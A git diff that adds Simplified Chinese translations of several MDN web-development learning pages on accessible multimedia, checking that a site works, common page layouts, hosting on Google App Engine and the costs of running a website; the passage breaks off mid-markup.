365px; margin: 0px auto; width: 593px;"></p> + +<p>有关详细信息,请阅读<a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">Adding captions and subtitles to HTML5 video</a>。您可以找到与本文一起使用本文的<a href="http://iandevlin.github.io/mdn/video-player-with-captions/">the example</a>,本文由 Ian Devlin 编写(请参阅<a href="https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions">source code</a>)。此示例使用一些 JavaScript 允许用户在不同的字幕之间进行选择。请注意,要打开字幕,您需要按"CC"按钮并选择一个选项 - 英语、德语或西班牙语。</p> + +<div class="note"> +<p><strong>注意</strong>:文本轨道和转录也可以帮助您使用{{glossary("SEO")}},因为搜索引擎在文本上尤其繁荣。文本轨道甚至允许搜索引擎通过视频直接链接到一个点部分。</p> +</div> + +<h2 id="其他多媒体内容">其他多媒体内容</h2> + +<p>以上各节未涵盖您可能要放在网页上的所有类型的多媒体内容。您可能还需要处理使用其他可用技术创建的游戏、动画、幻灯片、嵌入式视频和内容,例如:</p> + +<ul> + <li><a href="/en-US/docs/Web/API/Canvas_API">HTML5 canvas</a></li> + <li>Flash</li> + <li>Silverlight</li> +</ul> + +<p>对于此类内容,您需要根据案例处理辅助功能问题。在某些情况下,它不是那么糟糕,例如:</p> + +<ul> + <li>如果您使用 Flash 或 Silverlight 等插件技术嵌入音频内容,您可能只需以与上面在 {{anch("Transcript examples")}} 部分中所示的相同方式提供音频脚本。</li> + <li>如果您使用 Flash 或 Silverlight 等插件技术嵌入视频内容,则可以利用这些技术可用的字幕/字幕技术。例如, 参考 <a href="http://www.adobe.com/accessibility/products/flash/captions.html">Flash captions</a>, <a href="https://support.brightcove.com/en/video-cloud/docs/using-flash-only-player-api-closed-captioning">Using the Flash-Only Player API for Closed Captioning</a>, or <a href="https://blogs.msdn.microsoft.com/anilkumargupta/2009/05/01/playing-subtitles-with-videos-in-silverlight/">Playing Subtitles with Videos in Silverlight</a>.</li> +</ul> + +<p>然而,其他多媒体不是那么容易使访问。例如,如果您正在处理沉浸式 3D 游戏或虚拟现实应用,那么为此类体验提供文本替代方案确实非常困难,您可能会认为盲人用户实际上并不在此类应用的目标受众范围内。</p> + +<p>但是,您可以确保此类应用具有足够的颜色对比度和清晰的显示,以便对视力低下/色盲的人来说可以感知,并且还可以使其键盘可访问。请记住,辅助功能就是尽可能多地做,而不是一直追求 100% 的可访问性,这通常是不可能的。</p> + +<h2 id="总结">总结</h2> + +<p>本章概述了多媒体内容的可访问性问题,以及一些实用的解决方案。</p> + +<p>{{PreviousMenuNext("Learn/Accessibility/WAI-ARIA_basics","Learn/Accessibility/Mobile", "Learn/Accessibility")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">CSS and JavaScript accessibility best practices</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/Multimedia">Accessible multimedia</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/Mobile">Mobile accessibility</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/Accessibility_troubleshooting">Accessibility troubleshooting</a></li> +</ul> diff --git a/files/zh-cn/learn/common_questions/checking_that_your_web_site_is_working_properly/index.html b/files/zh-cn/learn/common_questions/checking_that_your_web_site_is_working_properly/index.html new file mode 100644 index 0000000000..5b09080497 --- /dev/null +++ b/files/zh-cn/learn/common_questions/checking_that_your_web_site_is_working_properly/index.html @@ -0,0 +1,173 @@ +--- +title: 如何确保你的网站正常运行? +slug: Learn/Common_questions/Checking_that_your_web_site_is_working_properly +tags: + - 不完全翻译 + - 部分用词需要改善 +translation_of: Learn/Common_questions/Checking_that_your_web_site_is_working_properly +--- +<div class="summary"> +<p>在这篇文章中我们将重温针对网站的各种故障排除步骤以及解决这些问题的基本措施。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提 :</th> + <td>你需要知道怎么<a href="/en-US/docs/Learn/Upload_files_to_a_web_server">上传文件到web服务器</a>。</td> + </tr> + <tr> + <th scope="row">目的 :</th> + <td>你将学习如何诊断并解决你的网站可能遇到的一些基本问题。</td> + </tr> + </tbody> +</table> + +<p id="Summary">所以你已经发布你的网站了对吗 ? 非常棒! 但是你确定它能够正常运行吗?</p> + +<p>远程 web 服务器与本地服务器的运行表现通常有很大差别,因此在你的网站上线之时对它进行测试是个不错的主意。你可能会对为数众多的问题表示惊讶:图片无法显示,页面无法加载或者加载缓慢,等等。大多数时候这个问题不严重,只是一个小小的错误或者你的web主机配置问题。 </p> + +<p>让我们看下如何诊断并解决那些问题。</p> + +<h2 id="主动学习">主动学习</h2> + +<p><em>当前没有主动学习的相关页面。<a href="/zh-CN/docs/MDN/Getting_started">请考虑作出你的贡献</a> 。</em></p> + +<h2 id="深入探索">深入探索</h2> + +<h3 id="在你的浏览器中测试">在你的浏览器中测试</h3> + +<p>如果你想知道你的网站是否正常运行,第一件要做的事就是打开你的浏览器并前往你想要测试的页面。</p> + +<h4 id="噢哦,图片去哪里了?"><strong>噢哦,图片去哪里了?</strong></h4> + +<p>让我们看下我们的个人网站, <code>http://demozilla.examplehostingprovider.net/</code>.。没有出现我们预期的图片!</p> + +<p><img alt="Oops, the ‘unicorn’ image is missing" src="https://mdn.mozillademos.org/files/9643/image-missing.png" style="height: 189px; width: 380px;"></p> + +<p>打开 Firefox 的Network tool (<strong>Tools ➤ Web Developer ➤ Network</strong>) 并重新加载页面:</p> + +<p><img alt="The image has a 404 error" src="https://mdn.mozillademos.org/files/9645/error404.png" style="height: 304px; width: 562px;"></p> + +<p>这就是问题所在,位于底部的"404" 。 "404" 意味着 "资源未找到", 也就是我们无法看到图片的原因。</p> + +<h4 id="HTTP_状态">HTTP 状态</h4> + +<p>服务器在收到请求时会以一条状态信息作出响应。以下是最常见的状态:</p> + +<dl> + <dt><strong><span id="cke_bm_110S" style="display: none;"> </span>200: OK</strong></dt> + <dd>你请求的资源已递送。</dd> + <dt><strong>301: Moved permanently</strong></dt> + <dd>资源已被移到新的位置。你将无法在浏览器中看到,但了解"301"是件好事,因为搜索引擎利用这条信息更新它们的索引。</dd> + <dt><strong>304: Not modified</strong></dt> + <dd>文档在上次请求后没有再改动,因此你的浏览器可以从缓存中将其显示,从而缩短响应时间并提高带宽使用效率。</dd> + <dt><strong>403: Forbidden</strong></dt> + <dd>禁止向你显示资源。这通常与配置错误有关 (e.g. 你的托管服务提供商忘记授予你对目录的访问权限).</dd> + <dt><strong>404: Not found</strong></dt> + <dd>不言自明。我们接下来将会讨论如何解决这个问题。</dd> + <dt><strong>500: Internal server error</strong></dt> + <dd>服务器出了点问题。比如,也许是服务器端语言 ({{Glossary("PHP")}}, .Net, etc.) 停止工作,或者web服务器本身出现配置问题。通常,最好的方法是诉诸你的托管服务提供商的支持团队。</dd> + <dt><strong>503: Service unavailable</strong></dt> + <dd>通常是由于短期的系统过载造成的。服务器有一些问题,稍后重试。</dd> +</dl> + +<ul> +</ul> + +<p>作为初学者检查我们的 (简易) 网站,我们通常会处理200,304,403和404。</p> + +<h4 id="修复_404">修复 404</h4> + +<p>所以是哪里出错了?</p> + +<p><img alt="Le list of images in our project" src="https://mdn.mozillademos.org/files/9649/demozilla-images-list.png" style="height: 71px; width: 407px;"></p> + +<p>乍一看,我们请求的图片似乎在正确的位置... 但是网络工具却出现了"404"的报错.。事实证明我们的HTML代码中出现了错别字: <code>unicorn_pics.png</code> 而不是<code>unicorn_pic.png</code>.。所以,通过在你的代码编辑器中改变图片的<code>src</code> 属性来纠正错别字。</p> + +<p><img alt="Deleting the ‘s’" src="https://mdn.mozillademos.org/files/9651/code-correct.png" style="height: 125px; width: 775px;"></p> + +<p>保存, <a href="/en-US/Learn/Upload_files_to_a_web_server">推送到服务器</a>,并在你的浏览器中重现加载网页。</p> + +<p><img alt="The image loads corectly in the browser" src="https://mdn.mozillademos.org/files/9655/image-corrected.png" style="height: 554px; width: 565px;"></p> + +<p>搞定! 让我们再看一遍 {{Glossary("HTTP")}} 状态:</p> + +<ul> + <li> <code>/</code> 和 <code>unicorn_pic.png</code> 的状态码为<strong>200</strong>,意味着我们成功加载了页面和图片。</li> + <li> <code>basic.css</code> 的状态码为<strong>304</strong>,意味着这个文件在上次请求后就没有再变动,因此浏览器可以在其缓存中使用该文件,而不是接收新的副本。</li> +</ul> + +<p>因此,我们修复了错误并且沿途了解了一些HTTP状态!</p> + +<h3 id="频繁的错误">频繁的错误</h3> + +<p>我们发现的最频繁的错误是这些:</p> + +<h4 id="地址中的错别字">地址中的错别字</h4> + +<p>我们想要输入 <code>http://demozilla.examplehostingprovider.net/</code> 但输入得太快而遗漏了一个 “l”:</p> + +<p><img alt="Address unreachable" src="https://mdn.mozillademos.org/files/9657/cannot-find-server.png" style="height: 425px; width: 908px;"></p> + +<p>这个地址显然无法找到。</p> + +<h4 id="404_错误">404 错误</h4> + +<p>很多时候错误只是由一个错别字导致的,但有时候也许是你忘记上传资源或者在上传资源时网络连接中断。首先检查文件路径的拼写和准确性,如果仍然存在问题,重新上传你的文件。这也许可以解决问题。</p> + +<h4 id="JavaScript_错误">JavaScript 错误</h4> + +<p>有人 (也许是你) 给页面添加了脚本并且出了差错。页面仍然可以加载,但是你会觉得有点问题。</p> + +<p>打开控制台 (<strong>Tools ➤ Web developer ➤ Web Console</strong>) 并重新加载页面:</p> + +<p><img alt="A Javascript error is shown in the Console" src="https://mdn.mozillademos.org/files/9659/js-error.png" style="height: 511px; width: 523px;"></p> + +<p>在这个例子中,我们清楚(相当清楚)错误所在,可以马上进行修复(我们将在 <a href="/en-US/Learn/JavaScript">另一个系列 </a>的文章中提到JavaScript )。</p> + +<h3 id="更多需要检查的地方">更多需要检查的地方</h3> + +<p>我们列举了一些简单的方法来检查你的网站是否运行正常,以及你可能遇到的最常见的错误和修复方法。 你还可以测试你的页面是否符合这些标准:</p> + +<h4 id="性能如何?">性能如何?</h4> + +<p>页面加载足够快吗? 类似 <a href="http://www.webpagetest.org/">WebPagetest.org</a> 的网站或者类似 <a href="https://addons.mozilla.org/en-US/firefox/addon/yslow/">YSlow</a> 的浏览器附加组件可以告诉你一些有趣的事情。</p> + +<p><img alt="Yslow diagnostics" src="https://mdn.mozillademos.org/files/9661/yslow-diagnostics.png" style="height: 766px; width: 637px;"></p> + +<p>等级从 A 到 F。我们的页面较小,符合大部分的标准。但是我们可以注意到如果使用 {{Glossary("CDN")}} 将会更好。 当我们只提供一张图片的时候,这无关紧要,但对于提供数千张图片的高带宽网站来说,这一点至关重要。</p> + +<h4 id="服务器响应是否足够快?">服务器响应是否足够快?</h4> + +<p><code>ping</code> 是一个很管用的 shell 工具,用以测试你提供的域名并告诉你服务器是否响应:</p> + +<pre class="notranslate">$ ping mozilla.org +PING mozilla.org (63.245.215.20): 56 data bytes +64 bytes from 63.245.215.20: icmp_seq=0 ttl=44 time=148.741 ms +64 bytes from 63.245.215.20: icmp_seq=1 ttl=44 time=148.541 ms +64 bytes from 63.245.215.20: icmp_seq=2 ttl=44 time=148.734 ms +64 bytes from 63.245.215.20: icmp_seq=3 ttl=44 time=147.857 ms +^C +--- mozilla.org ping statistics --- +4 packets transmitted, 4 packets received, 0.0% packet loss +round-trip min/avg/max/stddev = 147.857/148.468/148.741/0.362 ms</pre> + +<p>记住一个方便的键盘快捷键:<strong>Ctrl+C </strong>。 Ctrl+C 给运行发送了一个 “中断” 信号并令其中止。如果你不中止运行, <code>ping</code> 将会不断地 ping 服务器。</p> + +<h3 id="一份简易清单">一份简易清单</h3> + +<ul> + <li>检查 404</li> + <li>确保所有的网页都按预期运行</li> + <li>在多个浏览器中查看你的网站,以确保它的运行表现一致</li> +</ul> + +<h2 id="下一步">下一步</h2> + +<p>恭喜,你的网站已经成功运作,任何人都可以访问。这是一项巨大的成就。现在,你可以开始深入探索各种主题。</p> + +<ul> + <li>来自世界各地的人会进入你的网站,你应该考虑 <a href="/en-US/docs/Learn/What_is_accessibility">让每个人都可以访问网站</a> 。</li> + <li>你的网站是否设计的得太粗糙了?是时候<a href="/zh-CN/docs/Learn/CSS/Using_CSS_in_a_web_page">了解更多 CSS</a> 了。</li> +</ul> diff --git a/files/zh-cn/learn/common_questions/common_web_layouts/index.html b/files/zh-cn/learn/common_questions/common_web_layouts/index.html new file mode 100644 index 0000000000..3975d387df --- /dev/null +++ b/files/zh-cn/learn/common_questions/common_web_layouts/index.html @@ -0,0 +1,114 @@ +--- +title: 常见web布局都包含什么? +slug: Learn/Common_questions/Common_web_layouts +tags: + - CSS + - HTML + - “自主学习”待完善 + - 初学者 + - 设计 +translation_of: Learn/Common_questions/Common_web_layouts +--- +<div>{{IncludeSubnav("/en-US/Learn")}}</div> + +<div class="summary"> +<p>当你设计自己站点时,最好已经对常见的web页面布局所包含的内容有过构思。</p> +</div> + +<table class="learn-box nostripe standard-table"> + <tbody> + <tr> + <th scope="row">知识储备:</th> + <td>请先保证你已经考虑过 <a href="/en-US/Learn/Thinking_before_coding">《我该怎样开始设计我的网站?》</a> 所说的内容。</td> + </tr> + <tr> + <th scope="row">学习目标:</th> + <td>了解站点内容的布局规范,以及为什么这么放置。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>从头开始制作页面的时候,页面空白一片以至于会让人感到没有方向感。而同时如果你没有太多经验,这也许会让你感到不知所措。这也是为什么我们要讨论web设计的原因:我们有25年以上的经验并且会告诉你很多关于设计站点的常用规范。</p> + +<p>几乎所有的主流站点 -- 包含如今的新焦点:移动web -- 都由以下几点构成:</p> + +<dl> + <dt>”头部“</dt> + <dd>可以在每个页面的顶部看到。包含所有页面的相关信息(包括站点名字或logo)以及一个便于使用的导航系统。</dd> + <dt>“主要内容”</dt> + <dd>最大的区域,展示了当前页面的内容。</dd> + <dt>“边缘内容”(Stuff)</dt> + <dd>包括:1、主要内容的补充部分;2、信息分享列表;3、单选导航栏。 实际上,任何可以在当前页面展示又没有写入主要内容的部分都是可以划分在这的。</dd> + <dt>“页脚”</dt> + <dd>可以在每个页面的底部看到。和头部一样,包含一些对于整个页面而言不是很重要的信息,例如法律声明和联系信息。</dd> +</dl> + +<p>这些要素在所有组成元素中是相当普遍的,但是他们可以以多种形式被展示。下面是一些例子 (1 “头部”, 2 ”页脚“; A ”主要内容“; B1, B2 ”边缘内容”):</p> + +<p><strong>“单列”布局。</strong> 这种布局在手机浏览时显得极为重要,因为这样肯定不会导致混乱。</p> + +<p><img alt="Example of a 1 column layout: Main on top and asides stacked beneath it." src="https://mdn.mozillademos.org/files/9501/1-col-layout.png" style="height: 100px; width: 160px;"></p> + +<p><strong>”双列”布局。</strong> 一般针对于平板,因为屏幕尺寸适中。</p> + +<p> <img alt="Example of a basic 2 column layout: One aside on the left column, and main on the right column." src="https://mdn.mozillademos.org/files/9499/2-col-layout-right.png" style="height: 100px; width: 160px;"> <img alt="Example of a basic 2 column layout: One aside on the right column, and main on the left column." src="https://mdn.mozillademos.org/files/9497/2-col-layout-left.png" style="height: 100px; width: 160px;"></p> + +<p><strong>“三列”布局。</strong>只适合大屏幕的桌面程序(即使很多时候用户更倾向于用小窗口浏览)。</p> + +<p><img alt="Example of a basic 3 column layout: Aside on the left and right column, Main on the middle column." src="https://mdn.mozillademos.org/files/9491/3-col-layout.png" style="height: 100px; width: 160px;"> <img alt="Another example of a 3 column layout: Aside side by side on the left, Main on the right column." src="https://mdn.mozillademos.org/files/9493/3-col-layout-alt.png" style="height: 100px; width: 160px;"> <img alt="Another example of a 3 column layout: Aside side by side on the right, Main on the left column." src="https://mdn.mozillademos.org/files/9495/3-col-layout-alt2.png" style="height: 100px; width: 160px;"></p> + +<p>当你把上述布局灵活运用到一块的时候会非常赏心悦目:</p> + +<p><img alt="Example of mixed layout: Main on top and asides beneath it side by side." src="https://mdn.mozillademos.org/files/9503/1-col-layout-alt.png" style="height: 100px; width: 160px;"> <img alt="Example of a mixed layout: Main on the left column and asides stack on top of each other on the right column" src="https://mdn.mozillademos.org/files/9505/2-col-layout-left-alt.png" style="height: 100px; width: 160px;"> <img alt="Example of a mixed layout: one aside on the left column and main in the right column with a aside beneath main." src="https://mdn.mozillademos.org/files/9507/2-col-layout-mix.png" style="height: 100px; width: 160px;"> <img alt="Example of a mixed layout: Main on the left of the first row and one aside on the right of that same row, a second aside convering the whole second row." src="https://mdn.mozillademos.org/files/9509/2-col-layout-mix-alt.png" style="height: 100px; width: 160px;">…</p> + +<p>看完上述的例子,想必你在自己布局时会更加得心应手。你可能注意到了,“头部”和”页脚”永远是固定在顶部和底部;”主要内容”占有最大的空间以突出作用。</p> + +<p>面对复杂的设计和非常规情况,你可以利用很多设计规范。在别的文章中,我们会介绍根据屏幕尺寸、或者根据不同页面来动态变化的布局方式。但是现在,还是都保持统一为好。</p> + +<h2 id="深入学习">深入学习</h2> + +<p><em>目前还没有可以深入学习的文章。 <a href="/en-US/docs/MDN/Getting_started">何不考虑发一篇?</a>.</em></p> + +<h2 id="深入了解">深入了解</h2> + +<p>让我们开始学习一些知名站点的具体例子。</p> + +<h3 id="“单列”布局">“单列”布局</h3> + +<p><strong><a href="http://www.invisionapp.com/" rel="external">Invision application</a></strong>. 典型的“单列”布局,把所有信息线性排列在一个页面。</p> + +<p><img alt="Example of a 1 column layout in the wild" src="https://mdn.mozillademos.org/files/9523/screenshot-product.jpg" style="height: 643px; width: 200px;"> <img alt="1 column layout with header, main content, a stack of aside contents and a footer" src="https://mdn.mozillademos.org/files/9525/screenshot-product-overlay.jpg" style="height: 643px; width: 200px;"></p> + +<p>相当直接。但是请记住,如果很多人从桌面软件浏览你的站点,那么一定得让”主要内容”具有较高的可用/读性。</p> + +<h3 id="“双列”布局">“双列”布局</h3> + +<p><strong><a href="http://abduzeedo.com/typography-mania-261" rel="external">Abduzeedo</a></strong>, 简单的博客布局。博客一般都是“两列“:一列偏宽用来承载主要内容,一列偏窄用来承载“边缘内容”(如小部件,二级导航栏,广告等)。</p> + +<p><img alt="Example of a 2 column layout for a blog" src="https://mdn.mozillademos.org/files/9527/screenshot-blog.jpg" style="height: 643px; width: 200px;"> <img alt="A 2 column layout with the main content on the left column" src="https://mdn.mozillademos.org/files/9529/screenshot-blog-overlay.jpg" style="height: 643px; width: 200px;"></p> + +<p>在这个例子中,B1在“头部”正下方,和“主要内容”有关联,但是”主要内容”去掉B1也能够表达清楚内容。这时候,你把它归类到“主要内容“或者“边缘内容”都可以。但是要注意,如果有一块区域,位于头部正下方,那么这块区域必须是“主要内容“或者和”主要内容”有关联。</p> + +<h3 id="这有个陷阱">这有个陷阱</h3> + +<p><strong><a href="http://www.mica.edu/About_MICA.html" rel="external">MICA</a></strong>. 这里有点奇怪,以基本布局概念来看,好像是“三列”布局...</p> + +<p><img alt="Example of a false 3 columns layout" src="https://mdn.mozillademos.org/files/9531/screenshot-education.jpg" style="height: 267px; width: 200px;"> <img alt="It looks like a 3 columns layout but actually, the aside content is floating around." src="https://mdn.mozillademos.org/files/9533/screenshot-education-overlay.jpg" style="height: 267px; width: 200px;"></p> + +<p>...但是并不是的。 B1 and B2 浮在“主要内容”上面。记住“浮”这个概念 -- 当你学习CSS术语的时候你会不再陌生。</p> + +<p>为什么你会认为它是一个“三列”布局? 因为右上角的图片是L形的,又因为B1区域看起来像是用列来支持“主要内容”的切换功能,还因为logo里的“M”和“I”恰好看起来和B1组成了一部分。</p> + +<p>这是经典布局支持设计创新的一个很好的例子。简单的布局易于实现,但又不会缩减你自己的创造空间。</p> + +<h3 id="更狡猾的布局">更狡猾的布局</h3> + +<p><strong>The <a href="https://www.operadeparis.fr/en/saison-2014-2015/opera/la-boheme-puccini" rel="external">Opera de Paris</a>.</strong></p> + +<p><img alt="An example of a tricky layout." src="https://mdn.mozillademos.org/files/9535/screenshot-opera.jpg" style="height: 424px; width: 200px;"> <img alt="This is a 2 column layout but the header is overlaping the main content." src="https://mdn.mozillademos.org/files/9537/screenshot-opera-overlay.jpg" style="height: 424px; width: 200px;"></p> + +<p>这是基于“两列”布局的,但是你会发现这里有很多转角以至于布局看起来零零碎碎的。尤其是”头部”盖在了”主要内容”的图片上面。“头部“的曲线和”主要内容”的图片的曲线是有关联的,这样子会让人觉得“头部”和“主要内容”浑然一体,虽然我们都知道在技术上它们是完全不同的两个事物。这个示例看起来要比MICA示例更加复杂,但是实际上更好实现。</p> + +<p>如你所见,你可以用最基本的布局搭建出工艺卓绝的站点。你可以重新打开你最喜欢的站点,然后看看里面的“头部“,“页脚“,“主要内容“和“边缘内容”。这会更好的激发你的设计灵感并且对选择更符合设计目标的站点会有冥冥中的指导作用。</p> diff --git a/files/zh-cn/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html b/files/zh-cn/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html new file mode 100644 index 0000000000..997899fc6e --- /dev/null +++ b/files/zh-cn/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html @@ -0,0 +1,64 @@ +--- +title: 如何在Google App Engine上托管你的网站? +slug: Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine +translation_of: Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine +--- +<p class="summary"><a href="https://cloud.google.com/appengine/" title="App Engine - Build Scalable Web & Mobile Backends in Any Language | Google Cloud">Google App Engine</a> 是一个功能强大的平台,它能让你在谷歌的infrastructure 上构建并运行应用,你可以在这上面:从头构建多层WEB应用,或建立一个静态网站。</p> + +<p class="summary">接下来是手把手入门的教程:</p> + +<h2 id="创建一个谷歌云平台项目">创建一个谷歌云平台项目</h2> + +<p>为了在你自己的网站或者app使用谷歌的工具, 你需要在谷歌云平台上创建一个新项目( a new project ) 当然,需要谷歌账号。</p> + +<ol> + <li>打开谷歌云平台控制台(Google Cloud Platform Console),再打开 <a href="https://console.cloud.google.com/projectselector/appengine">App Engine dashboard</a> 页面 并点击 <em>Create</em> .</li> + <li>如果从未创建过项目(project),会提示你是否选择接收邮箱升级,并需要同意团队服务条款才能继续。</li> + <li>键入项目名,并编辑项目ID(请记下你的项目ID) <br> + 本教程的示例值: + <ul> + <li>Project Name: <em>GAE Sample Site</em></li> + <li>Project ID: <em>gaesamplesite</em></li> + </ul> + </li> + <li><em>点击Create</em> 以创建工程</li> +</ol> + +<h2 id="创建一个应用(application)">创建一个应用(application)</h2> + +<p>每个云平台项目都可以包含一个APP引擎应用,所以我们来为自己的项目准备一个app</p> + +<ol> + <li>我们需要一个样例应用来发布. 如果你还没有, 请下载 <a href="http://gaesamplesite.appspot.com/downloads.html">sample app</a> 并解压.</li> + <li>看一下这个样例应用的结构—<code>website</code>文件夹包括你的网站内<code>容,app.yaml</code>文件是你的应用配置文件 + <ul> + <li>你的网站内容必须放在<code>website</code>文件夹下,并且入口文件必须取名为<code>index.html</code>,其他部分可以自行定义。</li> + <li> <code>app.yaml</code> 文件是一个配置文件,它高速应用引擎怎么映射UR到你的静态文件,你不需要编辑它。</li> + </ul> + </li> +</ol> + +<h2 id="发布你的应用">发布你的应用</h2> + +<p>现在我们已经制作了我们的项目并将示例应用程序文件收集在一起,下面发布应用程序。</p> + +<ol> + <li>打开<a href="https://console.cloud.google.com/cloudshell/editor">Google Cloud Shell</a>.</li> + <li>把 <code>sample-app</code>目录拖拽到代码编辑器左边</li> + <li>在命令行中键入如下命令选择你的项目: + <pre class="brush:bash no-line-numbers" style="margin: 1em 0;">gcloud config set project <em>gaesamplesite</em></pre> + </li> + <li>键入如下命令 进入到 app的 目录: + <pre class="brush:bash no-line-numbers" style="margin: 1em 0;">cd <em>sample-app</em></pre> + </li> + <li>你现在可以部署应用程序,即将应用程序上传到App Engine: + <pre class="brush:bash no-line-numbers" style="margin: 1em 0;">gcloud app deploy</pre> + </li> + <li>输入一个数字以选择你希望应用程序所在的区域。.</li> + <li>键入 <code>Y</code> 确认.</li> + <li>现在你可以在浏览器中访问你的站点了,比如对于项目ID 是<em>gaesamplesite的网站</em>, go输入 <a href="http://gaesamplesite.appspot.com/"><em>gaesamplesite</em>.appspot.com</a>访问。</li> +</ol> + +<h2 id="更多信息">更多信息</h2> + +<p>请访问<a href="https://cloud.google.com/appengine/docs/">Google App Engine Documentation</a>.</p> diff --git a/files/zh-cn/learn/common_questions/how_much_does_it_cost/index.html b/files/zh-cn/learn/common_questions/how_much_does_it_cost/index.html new file mode 100644 index 0000000000..46c72aee11 --- /dev/null +++ b/files/zh-cn/learn/common_questions/how_much_does_it_cost/index.html @@ -0,0 +1,157 @@ +--- +title: 在互联网上做一件事要花费多少? +slug: Learn/Common_questions/How_much_does_it_cost +translation_of: Learn/Common_questions/How_much_does_it_cost +--- +<div class="summary"> +<p>参与互联网(运营网站)并不像看起来那么便宜。本文中我们将讨论你所需的花费及理由。 </p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">准备工作:</th> + <td> + <p>你已经了解<a href="https://developer.mozilla.org/en-US/Learn/What_software_do_I_need">你需要什么软件</a>,以及<a href="https://developer.mozilla.org/en-US/Learn/page_vs_site_vs_server_vs_search_engine">网页、网站等术语</a>之间的差异, 以及<a href="https://developer.mozilla.org/en-US/Learn/Understanding_domain_names">域名是什么</a> 。</p> + </td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>评估创建一个网站的完整流程,计算每个步骤的花费。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>经营一个网站可以一毛不拔,也可以倾家荡产。 本文中我们将讨论各种事项的花费,以及如何将钱花得物有所值(或者白嫖)。</p> + +<h2 id="软件">软件</h2> + +<h3 id="文本编辑器">文本编辑器</h3> + +<p>你八成已经拥有一个文本编辑器,例如 Windows 上的记事本、Linux 上的 Gedit 或是 Mac 上的 TextEdit。但如果选择一个拥有语法高亮、语法检查和代码组织功能的编辑器,就能更得心应手地写代码。</p> + +<p>有很多免费的编辑器,例如 <a href="https://atom.io/">Atom</a>、<a href="http://brackets.io/">Brackets</a>、<a href="http://bluefish.openoffice.nl/">Bluefish</a>、<a href="http://www.barebones.com/products/textwrangler/">TextWrangler</a>、<a href="http://eclipse.org/">Eclipse</a>、<a href="https://netbeans.org/">Netbeans</a> 和 <a href="https://code.visualstudio.com/">Visual Studio Code</a>。<a href="http://www.sublimetext.com/">Sublime Text</a> 之类的编辑器可以无限制试用,但最好还是付费购买。<a href="https://www.jetbrains.com/phpstorm/">PhpStorm</a> 之类的编辑器则需花费几十至两百美元不等,取决于你购买的种类。<a href="http://www.visualstudio.com/">Microsoft Visual Studio</a> 之类的编辑器则可能需要花费数百至数千美元,不过 Visual Studio Express 对独立开发者和开源项目免费。付费编辑器通常都有试用版。</p> + +<p>开始学习时,我们建议你尝试几个不同的编辑器,找到最适合自己的。 如果你只写简单的 {{Glossary("HTML")}}、{{Glossary("CSS")}} 和 {{Glossary("Javascript")}},就挑个简易的编辑器。</p> + +<p>价格并不一定能体现编辑器的品质和实用程度。试过才知道满不满足需求。比如说 Sublime Text 很便宜,但有很多免费插件可供极大程度的扩展功能。</p> + +<h3 id="图像编辑器">图像编辑器</h3> + +<p>你的系统可能已经自带了一个简单的图像编辑器或者图像浏览器(Windows上的画图,Ubuntu上的 Eye of Gnome, Mac上的Preview)。但是这些程序功能都很有限然后很快,你就会需要一个更强大的编辑器来添加图层,效果和分组。</p> + +<p>编辑器的价格可以是免费的(GIMP),还有中等价位(PaintShop Pro,少于100美元)或几百美元(Adobe Photoshop)。</p> + +<p>你可以使用其中的任何一款。 它们都具有大致相同的功能(尽管其中一些功能非常完整,你可能永远不会使用所提供的每个功能)。无论如何,如果在某些时候你需要与其他设计师交流正在进行的项目,那么你应该首先了解他们正在使用的工具。编辑器可以将完成的项目导出为标准文件格式,但每个编辑器都可以按照专门的项目格式保存正在进行的项目。</p> + +<h3 id="媒体编辑器">媒体编辑器</h3> + +<p>如果你想在你的网站中添加音频或者视频,那么您可以嵌入在线服务(例如YouTube,Vimeo或Dailymotion)或包含您自己的视频(请参阅下面的带宽费用)。</p> + +<p>对于音频文件,你可以找到免费软件(Audacity,Wavosaur)或支付高达几百美元(Sony Sound Forge,Adobe Audition)。视频编辑软件同样可以免费使用(PiTiVi,OpenShot for Linux,iMovie for Mac),少于100美元(Adobe Premiere Elements)或几百美元(Adobe Premiere Pro,Avid Media Composer,Final Cut Pro)。 你使用数码相机购买的软件可能已经涵盖了你的所有需求。</p> + +<h3 id="发布工具">发布工具</h3> + +<p>你还需要一种将文件从本地硬盘上传到远程Web服务器的方法。 为了做到这一点,你必须使用FTP客户端。</p> + +<p>每个系统都包含一个FTP客户端作为文件管理器的一部分。 Windows资源管理器,Nautilus(一个常见的Linux文件管理器)和Mac Finder都包含该功能。 然而,人们更经常选择专门的FTP客户端,可以存储密码并且并行显示本地和远程目录。</p> + +<p>如果你需要安装一个FTP客户端,这里有很多免费的选择:例如, 可以全平台使用的 <a href="https://filezilla-project.org/">FileZilla</a> , windows上使用的<a href="http://winscp.net/">WinSCP</a> , Mac和 windows上都能使用的 <a href="https://cyberduck.io/">Cyberduck</a> ,还有很多)。</p> + +<div class="note"> +<p>注意:还有其他方法可以在远程服务器上发布内容,如rsync和git,但并不像FTP那样简单,我们不会在这里讨论。</p> +</div> + +<h2 id="浏览器">浏览器</h2> + +<p>你已经拥有了一个浏览器或者可以免费下载一个。如果需要的话, 在这下载<a href="http://www.firefox.com.cn/">火狐浏览器</a>或者 <a href="https://www.google.cn/chrome/index.html">Google Chrome浏览器</a>。</p> + +<h2 